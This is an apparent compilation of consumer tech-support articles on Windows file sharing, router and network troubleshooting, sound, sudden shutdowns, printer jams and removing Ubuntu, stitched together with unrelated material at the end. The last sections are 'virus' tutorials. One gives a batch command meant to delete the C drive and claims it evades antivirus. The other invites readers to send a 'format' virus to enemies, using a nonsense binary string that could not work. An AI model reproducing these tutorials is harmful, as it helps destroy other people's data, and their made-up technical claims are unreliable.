Tips for Troubleshooting Windows File and Printer Sharing 

This checklist describes typical issues encountered when setting up peer-to-peer file sharing on a Microsoft Windows network. Follow the steps below to troubleshoot and resolve these Windows file sharing problems. Many items in the checklist are especially crucial on networks that run multiple versions or flavors of Windows. Click the links provided to get more detailed troubleshooting tips.

1. Name Each Computer Correctly

On a peer-to-peer Windows network, all computers must possess unique names. Ensure all computer names are unique and each follows the Microsoft naming recommendations. For example, consider avoiding spaces in computer names: Windows 98 and other older versions of Windows will not support file sharing with computers having spaces in their name. The length of computer names, the case (upper and lower) of names and the use of special characters must also be considered.

 

2. Name Each Workgroup (or Domain) Correctly

Each Windows computer belongs either to a workgroup or a domain. Home networks and other small LANs utilize workgroups, whereas larger business networks operate with domains. Whenever feasible, ensure all computers on a workgroup LAN have the same workgroup name. While sharing files between computers belonging to different workgroups is possible, it is also more difficult and error-prone. Similarly, in Windows domain networking, ensure each computer is set to join the correct named domain.

3. Install TCP/IP on Each Computer

TCP/IP is the best network protocol to use when setting up a Windows LAN. In some circumstances, it's possible to use the alternative NetBEUI or IPX/SPX protocols for basic file sharing with Windows. However, these other protocols normally don't offer any additional functionality beyond what TCP/IP provides. Their presence also can create technical difficulties for the network. It is strongly recommended to install TCP/IP on each computer and uninstall NetBEUI and IPX/SPX whenever possible.

4. Set up Correct IP Addressing and Subnetting

On home networks and other LANs having a single router or gateway computer, all computers must operate in the same subnet with unique IP addresses. First, ensure the network mask (sometimes called "subnet mask") is set to the same value on all computers. The network mask "255.255.255.0" is normally correct for home networks. Then, ensure each computer possesses a unique IP address. Both the network mask and other IP address settings are found in the TCP/IP network configuration.

5. Verify File and Printer Sharing for Microsoft Networks is Installed

"File and Printer Sharing for Microsoft Networks" is a Windows network service. This service must be installed on a network adapter to enable that computer to participate in file sharing. Ensure this service is installed by viewing the adapter's properties and verifying that a) this service appears in the list of installed items and b) the checkbox next to this service is checked in the 'on' position.

6. Temporarily or Permanently Disable Firewalls

The Internet Connection Firewall (ICF) feature of Windows XP computers will interfere with peer-to-peer file sharing. For any Windows XP computer on the network that needs to participate in file sharing, ensure the ICF service is not running. Misconfigured third-party firewall products can also interfere with LAN file sharing. Consider temporarily disabling (or lowering the security level of) Norton, ZoneAlarm and other firewalls as part of troubleshooting file sharing problems.

7. Verify Shares are Correctly Defined

To share files on a Windows network, ultimately one or more network shares must be defined. Share names that end with a dollar sign ($) will not appear in the list of shared folders when browsing the network (although these can still be accessed). Ensure shares have been defined on the network appropriately, following the Microsoft recommendations for share naming.

 

Troubleshooting Home Network

You've carefully followed all the instructions in the network router setup guide, but for whatever reason your network isn't working. Perhaps everything functioned before and just started failing suddenly, or maybe you've spent days or weeks trying to get through the initial installation. Use these troubleshooting guidelines to isolate and solve network problems involving your router: Keep in mind there may be more than one issue involved.

Mismatched Wi-Fi Security Settings

Seemingly the most common cause of wireless network setup issues, incompatibility in settings between two Wi-Fi devices (such as the router and a PC) will prevent them from being able to make a network connection. Check the following settings on all Wi-Fi devices to ensure they are compatible:

• Network mode: A router must be enabled to support all versions of Wi-Fi used by the network clients. For example, routers configured to run in "802.11g only" mode will not support 802.11n or old 802.11b devices. To fix this kind of network failure, change the router to run in mixed mode.
  
  
• Security mode: Most Wi-Fi devices support multiple network security protocols (typically different variations of WPA and WEP). All Wi-Fi devices including routers belonging to the same local network must use the same security mode.
  
  
• Security key: Wi-Fi security keys are passphrases or sequences of letters and digits. All devices joining a network must be programmed to use a Wi-Fi key recognized by the router (or wireless access point). Many home network routers (access points) support only one key that all devices must share in common. Some newer routers can store multiple Wi-Fi security keys instead of one, however, technically allowing local devices to have different key settings (although keeping their keys all the same can simply setup and troubleshooting).

MAC Address Restrictions

Many network routers support a feature called MAC address filtering. Although disabled by default, router administrators can turn this feature on and restrict connections to only certain devices according to their MAC address number. If having difficulty getting a specific device to join the local network (particularly if it is new), check the router to ensure either (a) MAC address filtering is 'off' or (b) the device's MAC address is included in the list of allowed connections.

Loose or Disconnected Cables

Sometimes the router is turned off, or someone in the family accidentally unplugs power to it. Ensure power strips are switched on and receiving electricity from the outlet, and if applicable, that any Ethernet cables are firmly seated - the connectors should make a clicking sound when snapping into position. If the router can't connect to the Internet but is otherwise operating normally, ensure any modem cables are connected properly.

Overheating or Overloading

Downloading large files or streaming data for long periods causes a home network router to generate heat. In some cases, routers will overheat due to the sustained heavy load. An overheated router will behave unpredictably, eventually disconnecting devices from the local network and crashing. Shutting down the router and allowing it to cool down solves the problem temporarily, but if this issue occurs often, ensure the router has proper ventilation (no vents blocked) and consider moving it to a cooler location. Home routers can typically handle ten (10) or more connected clients, although if too many devices actively use the network at once, similar overloading problems can result. Even when not physically overheating, the high network activity can cause outages. Consider adding a second router to the network in these cases to better handle the load.

Wireless Signal Limitations

Because the range of Wi-Fi radio signals is limited, home network connections sometimes fail because a device's radio cannot reach the router's. Some people also have had their functioning wireless network go offline as soon as anyone in the house turned on the microwave oven. Garage door openers and other consumer gadgets inside homes also can interfere with the signals of Wi-Fi networks, particularly those that use the 2.4 GHz radio bands.
It's also common in cities for the signals of several home Wi-Fi networks to intermingle with each other. Even inside their own home, a person may discover one or more of their neighbor's wireless networks when trying to connect to their own.
To work around these wireless radio interference and range limitations, change the Wi-Fi channel number on the router, or re-position the router. Finally, consider changing your router's name (SSID) if a neighbor is using the same one.

Defective or Outdated Hardware or Firmware

It's not uncommon for routers to fail after years of regular use. Lightning strikes or other electrical power surges can also damage the circuitry of network equipment. Because they have few moving parts, trying to repair network routers rarely is practical. Set aside some budget for periodically replacing your router (and any other essential network equipment). Also consider keeping some spare cables and a cheap backup router to help with emergency troubleshooting. Before finally giving up a router, try updating the router's firmware first. Sometimes no firmware update will be available, but in other cases newer firmware may contain fixes for overloading or signaling issues.

Basic network troubleshooting

If a computer is unable to connect to a network or see other computers on a network, it may be necessary to troubleshoot the network. A network may not work because of any of the below reasons.

1. Network card not connected properly.
2. Bad network card drivers or software settings.
3. Firewall preventing computers from seeing each other.
4. Connection related issues.
5. Bad network hardware.

Solution

Because of the large variety of network configurations, operating systems, setup, etc... not all of the below information may apply to your network or operating system. If your computer is connected to a company or large network, or you are not the administrator of the network, it is recommended that if you are unable to resolve your issues after following the below recommendations that you contact the network administrator or company representative.
Note: If you are being prompted for a Network password and do not know the password, Computer Hope is unable to assist users with obtaining a new or finding out the old password.

Verify connections and LEDs

Verify that the network cable is properly connected to the back of the computer. In addition, when checking the connection of the network cable, ensure that the LEDs on the network are properly illuminated. For example, a network card with a solid green LED or light usually indicates that the card is either connected or receiving a signal. Note: generally, when the green light is flashing, this is an indication of data being sent or received.

If, however, the card does not have any lights or has orange or red lights, it is possible that either the card is bad, the card is not connected properly, or that the card is not receiving a signal from the network.

If you are on a small or local network and have the capability of checking a hub or switch, verify that the cables are properly connected and that the hub or switch has power.

Adapter resources

Ensure that if this is a new network card being installed into the computer that the card's resources are properly set and not conflicting with any hardware in the computer.

Users who are using Windows 95, 98, ME, 2000 or XP, verify that Device Manager has no conflicts or errors. Additional help and information about Device Manager and resources can be found on our Device Manager page.

Adapter functionality

Verify that the network card is capable of pinging or seeing itself by using the ping command. Windows and MS-DOS users ping the computer from a MS-DOS prompt. Unix and Linux variant users ping the computer from the shell.

To ping the card or the localhost, type either

ping 127.0.0.1

or

ping localhost

This should show a listing of replies from the network card. If you receive an error or if the transmission failed, it is likely that either the network card is not physically installed into the computer correctly, or that the card is bad.

Protocol

Verify that the correct protocols are installed on the computer. Most networks today will utilize TCP/IP, but may also utilize or require IPX/SPX and NetBEUI.

• Additional information and help with installing and reinstalling a network protocol.

When the TCP/IP protocol is installed, unless a DNS server or other computer assigns the IPX address, the user must specify an IP address as well as a Subnet Mask. To do this, follow the below instructions.

1. Click Start, Settings, Control Panel
2. Double-click the Network icon
3. Within the configuration tab double-click the TCP/IP protocol icon. Note: Do not click on the PPP or Dial-Up adapter, click on the network card adapter.
4. In the TCP/IP properties click the IP address tab
5. Select the option to specify an IP address
6. Enter the IP address and Subnet Mask address, an example of such an address could be:
   
   IP Address: 102.55.92.1
   Subnet Mask: 255.255.255.192
   
   
7. When specifying these values, the computers on the network must all have the same Subnet Mask and have a different IP Address. For example, when using the above values on one computer you would want to use an IP address of 102.55.92.2 on another computer and then specify the same Subnet Mask.

Firewall

If your computer network utilizes a firewall, ensure that all ports required are open. If possible, close the firewall software program or disconnect the computer from the firewall to ensure it is not causing the problem.

Additional time

In some cases it may take a computer some additional time to detect or see the network. If after booting the computer you are unable to see the network, give the computer 2-3 minutes to detect the network. Windows users may also want to try pressing the F5 (refresh) key when in Network Neighborhood to refresh the network connections and possibly detect the network.

Additional troubleshooting

If after following or verifying the above recommendations you are still unable to connect or see the network, attempt one or more of the below recommendations.

If you have installed or are using TCP/IP as your protocol you can ping another computer's IP address to verify if the computer is able to send and receive data. To do this, Windows or MS-DOS users must be at a prompt and Linux and Unix variant users must open or be at a shell.

Once at the prompt assuming, that the address of the computer you wish to ping is 102.55.92.2, you would type:

ping 102.55.92.2

If you receive a response back from this address (and it is a different computer), this demonstrates that the computer is communicating over the network. If you are still unable to connect or see the network, it is possible that other issues may be present.

Another method of determining network issues is to use the tracert command if you are a MS-DOS or Windows user or the traceroute command if you are a Linux or Unix variant user. To use this command you must be at the command line.

Once at the command line, assuming that the address is again 102.55.92.2, type one of the below commands.

tracert 102.55.92.2

or

traceroute 102.55.92.2

This should begin listing the hops between the computer and network devices. When the connection fails, determine what device is causing the issue by reviewing the traceroute listing.

Missing or lost sound in Windows

This issue could be caused by any of the below possibilities.

1. Bad software settings.
2. Corrupt or missing sound drivers.
3. Compatibility issues with the operating system or other hardware.
4. Speaker related issues.
5. Bad or missing sound card.

Solution

Verify software volume control settings

First verify you see a small sound icon or in the Windows notification area (bottom right-hand corner of your screen). If this icon is missing, follow the below steps.

Windows XP

1. Open the Control panel
2. Open the "Sounds and Audio Devices" icon.
3. Verify the "Place volume icon in the taskbar" checkbox is checked. If this option is not available or is grayed out, skip to the next section of this document.
4. If you were able to check this box, click ok and close out of this window and the Control Panel.
5. Double-click the sound icon in the Systray and verify that all the sound volumes are mid-way or higher.

Windows 2000

1. Open the Control panel
2. Open the "Sounds and Multimedia" icon.
3. Verify the "Show volume control on the taskbar" checkbox is checked. If this option is not available or is grayed out, skip to the next section of this document.
4. If you were able to check this box, click ok and close out of this window and the Control Panel.
5. Double-click the sound icon in the Systray and verify that all the sound volumes are mid-way or higher.

Windows 95, 98, or ME

1. Open the Control panel
2. Open the "Multimedia" icon.
3. Check the checkbox for "Show volume control on the taskbar." If this section is grayed out, change the Playback "Preferred device" by clicking the down arrow and changing to an alternate selection. If that is also grayed out, skip to the next section of this document.
4. If you were able to check this box, click ok and close out of this window and the Control Panel.
5. Double-click the sound icon in the Systray and verify that all the sound volumes are mid-way or higher.

Verify the installed driver settings

1. Open the Windows Device Manager
2. Verify there are no conflicts or errors listed anywhere in Device Manager. If conflicts exist skip down to conflicts section.
3. Verify no other devices are listed. If other devices are listed skip down to other devices section.
4. Verify that your "Sound, video and game controllers" category is listed, if not skip down to the missing sound card section.
5. If no conflicts or other devices are listed and your sound card is listed with no conflicts, skip to the next section.

Conflicts section

If conflicts exists with your sound card or other devices installed in your computer it is likely that either the drivers are not properly installed for that device or the sound card or other devices are conflicting. If you open the properties of the device that is conflicting and view the properties, additional details about the conflict can be found. Additional information about error codes as well as help with Device Manager can be found on our Device Manager section.

If you are unable to locate additional information about your issue or are unable to resolve the issue, follow the below steps.

1. Under Sound, Video and game controllers highlight each device and press the delete key to remove the device.
2. Reboot the computer.
3. As the computer is booting the system will detect the sound card and any of it's devices and re-install those devices. If prompted for a location of drivers, try pointing it to your sound card CD or your Windows CD. If this does not work or is unable to locate the proper files, you will need to get the latest sound drivers from your sound card manufacturer.

Other devices section

If other devices are listed, it is possible that these other devices could be the sound card or other devices conflicting with the sound card. If any other devices are listed it is recommended you remove those devices, reboot the computer and let Windows redetect the devices.

If this does not work, determine what device is not being detected and resolve that issue first.

Missing sound card section.

If you are missing the "Sound, video and game controllers" category in Device Manager, it is likely that the sound card drivers are not installed properly, sound card has been disabled, sound card is bad, or no sound card is available in the computer. First, verify no conflicts or other devices are present in the Device Manager; if these are present it is likely they are the sound card or devices causing the sound card not to be detected. Second, verify that the computer has a sound card and that the sound card is enabled on the computer.

If this is an on-board sound card you can verify that it is enabled in CMOS setup.

If you have no adapters or cannot click the down arrow to select the correct adapter, close out of this Window. In Control Panel double-click the System icon, click the Device Manager tab within Device Manager and ensure there are no yellow ! or red X.

If you have either of these on any of your sound devices, remove everything under Sound Video game controllers and reboot the computer. If after rebooting the computer you still have the same conflicts, double-click on the conflicting device and refer to our Device Manager error code section giving you additional information on the error code you are experiencing.

Verify speaker connections

Verify the speakers settings and speakers are not at fault by running through computer speaker troubleshooting.

Sound card drivers

If you have followed the above recommendations and you are still unable to get the sound card to work, in Device Manager remove all sound video and game controllers and reboot the computer. This should cause Windows to reinstall all missing drivers and often can correct corrupt drivers. If this does not work after rebooting the computer download and install the latest sound card drivers from the computer or sound card manufacturer. A listing of sound card drivers can be found on our sound card driver page.

Defective hardware

Finally, if all of the above recommendations do not resolve your issue it is likely that either the sound card is physically bad or that the operating system is severely corrupt. We recommend you contact the manufacturer of the sound card or computer for a replacement or additional recommendations.

Computer turns off without warning

Cause

This issue could be caused by any of the below possibilities.

1. Heat related issue.
2. Hardware issue or error.
3. Computer virus.
4. Issue with operating system.
5. Other failing hardware

Answer

Tip: This document is for computers that remain off and not computer's that turn back on (restart).

Caution: Some of the below steps require you open your computer. While in the computer, be cautious of ESD.

Heat related issue

A computer that turns off without warning is usually caused by a heat related issue. Many computers today are designed to turn off automatically if the computer, processor, or other device gets too hot.

Start by verifying the fan on the power supply is working by examining the back of the computer and seeing if the fan is moving and moving smoothly. For all other fans in the computer, you will need to open the computer and make sure the fan are working. While in the computer example the processor fan (heatsink), video card fans, and case fans. If you have heard any abnormal noises coming from your computer recently such as a high squealing, this is also a common indication of a fan failure.

Tip: While inside the computer it may also be a good idea to clean the inside of the computer. Dust, dirt, hair, and other residue in the vents and on the fans can prevent proper air flow and heat the computer.

Tip: If your BIOS monitors the RPM of the fans, enter BIOS and make sure the BIOS does not report any errors. Software utilities such as SpeedFan can also be used to help monitor fans in your computer.

While inside the computer, it's also a good idea to verify the processor heatsink is properly connected by disconnecting and reconnecting the heatsink. If the processor heatsink is not properly attached or does not have a proper amount of thermal compound, the computer will overheat.

Caution: If you do remove the processor heatsink the thermal compound on the processor and heatsink should be cleaned and new thermal compound should be applied. Not reapplying new thermal compound could make issues worse since the bond between the CPU and heatsink would be broken.

• Is there a way to tell how hot my CPU is running?
• What should be the temperature of my processor?

Hardware issue or error

Any failing hardware component in your computer could cause your computer to unexpectedly turn off without warning. If you have recently added any new hardware remove it from the computer to make sure it is not causing the problem.

Tip: Before attempting to remove any hardware, make sure you are not encountering this issue because of hardware conflicts by checking Device Manager for errors.

If you have not recently installed any new hardware into the computer, the next best solution to determining if this is a hardware issue would be remove any hardware on the computer that is not needed. For example, remove your modem, network card, sound card, and any other expansion cards that are not needed for the computer to operate. Run the computer without these cards to see if they are the cause of your issue.

Computer virus

Although not as likely as the above reasons, it is possible for your computer to be infected with a virus that is designed to shut down your computer or turn it off. If your computer seems to be turning off when executing a certain program at specific times in the day, it could be infected.

If you believe your computer may be infected with a virus or are uncertain if your computer is infected with a virus, make sure your virus scanner definitions are up-to-date and it may also be a good idea to scan the computer for any other malware.

Issue with operating system

If after following each of the above recommendations your computer still continues to reboot, it is likely that you are experiencing a Microsoft Windows operating system related issue that cannot be explained. To help make sure this is the case, try the below steps.

1. Reboot the computer and enter CMOS setup as the computer is booting.
2. After you have loaded the computer in CMOS setup, let the computer sit.

If the computer does not turn off while letting the computer sit in CMOS, you are likely experiencing an issue with Microsoft Windows or your operating system and it is recommend you erase everything and reinstall Microsoft Windows.

Other failing hardware

If after reinstalling your operating system, or during the installation of your operating system, your computer turns off abnormally, it is very likely that other hardware is failing in the computer. Often this is RAM, CPU, Motherboard, Power Supply, or Video card (in that order).

• Steps on how to test your computer memory for errors.

If you have extra parts or have a friend or co-worker with a similar configuration that is willing to allow you to test their hardware in your computer, try swapping these parts to determine if they are at fault. Otherwise, you will need to have the computer serviced.

  How to fix a printer paper jam

When working with any printer it's inevitable that you'll encounter a paper jam. Below are the steps you'll want to follow when this occurs.

Tip: To manually remove paper pull on the paper with both hands being careful not to tear the paper while pulling it. If you're unable to get to an edge of the paper that allows you to pull it you may need to manually rotate the gears that feed the paper through the printer.

1. Turn off the printer.
2. Inspect the location or tray the printed paper ejects to. If the stuck paper is visible manually remove it.
3. Remove all paper trays and any paper that may be stuck between the tray and the printer. If the stuck paper is visible manually remove it.
4. Open the printer door that allows you access to the printer ink cartridges or toner and look for any stuck paper. If the stuck paper is visible manually remove it
5. Turn the printer back on. If you continue to receive a printer jam error try repeating the above steps again. If issue still persist and you see no paper that is stuck in the printer it's likely your printer is experiencing another hardware issues and we suggest contacting the printer manufacturer for additional assistance or repair.

Preventing a printer paper jam

As mentioned earlier it is inevitable that you will encounter at least one paper jam during the life of your printer. However, if you're encountering frequent paper jams following the below steps can help prevent paper jams from occurring.

1. If your printer has a paper tray do not fill the tray to capacity. If you're encountering frequent paper jams, reduce the amount of paper you place in the tray each time it is filled.
2. Make sure you or the tray feeding the paper into the printer is aligned properly and the slider used to hold the paper in place in the tray is snug with the paper. Many printers have sliders that allow different types and sizes of paper to be fed into the printer. If the slider is not properly positioned it can cause paper jams.
3. Use standard office paper; folded paper, paper with labels, and specialty paper such as hard bound paper can often cause paper jams. If you're uncertain with what paper you should use with your printer your printer documentation will list the paper compatible with your printer.
4. Do not mix the paper you're feeding into the printer at one time. If you need to change the paper or size of paper being used removed any other paper currently in the printer before inserting the new paper.
5. If your printer uses a slot or tray for the paper make sure to not push the paper too far into the slot or tray.
6. Examine the printer for any previous stuck paper in the printer. Previous paper jams, torn paper, printing labels or other foreign objects in the printer can cause reoccurring printer jams.

How do I remove Ubuntu 12.04 LTS from my Windows 7 computer? 

Possible Duplicate:
How do I remove ubuntu from a windows 7 machine without the recovery disk?
I have a problem. I want my Windows 7 back. I installed ubuntu from a USB flash-drive. And it's dualbooting with Windows 7.
I don't know how to delete Ubuntu 12.04 LTS from my computer for free?
Please help me......

You need: A Windows Installation or Recovery Medium

This restores the MasterBootRecord. Grub will be gone (or at least not useable anymore) only Windows boots up.

• boot from that Windows Disk
• select "Repair my Computer"
• select your Windows Installation
• select "Command Prompt"
• now execute following command each at a time:

bootrec.exe /FixBoot

bootrec.exe /FixMbr

• reboot

To remove ubuntu (this steps may be a bit fuzzy, since I do not have win7 machine right in front of me right now):

• Boot to Windows
• click "start" and search for "Disk Management"
• start Disk Management
• now you should see an overview of your Harddrives and partitions.
• determine the ubuntu partitions (usually, the ones with "unknown" file system)
• delete those partitions
• finally append the freed disk space to a windows partition (if wished)

you should be good now.

Good Luck.

Learn To Make Dangerous Virus In A Minute

Learn To Make Dangerous Virus In A Minute

What will this virus do ?  

You will create this virus using batch file programming. This virus will delete the C Drive completely. The good thing about this virus is that it is not detected by antivirus.

How to Make the virus ?

   1. Open Notepad and copy below code into it.

@Echo off
Del C:\ *.* |y

   2. Save this file as virus.bat (Name can be anything but .bat is must)
   3. Now, running this file will delete all the content of C Drive.


Warning: Please don't try to run on your own computer or else it will delete all the content of your C Drive. I will not be responsible for any damage done to your computer.

Virus to Format Hard Disk !!!

                             

Virus to Format Hard Disk !!! 

 

Today i will show you how to make a virus to format Hard disk. You can send this file to your friend or enemy to format their Hard disk. But please dont try this on your own computer or else you will end up formatting your own computer.

• Copy the below codes into Notepad.

01001011000111110010010101010101010000011111100000 

• Save the file as Format.exe
• You have created your virus. Enjoy !!!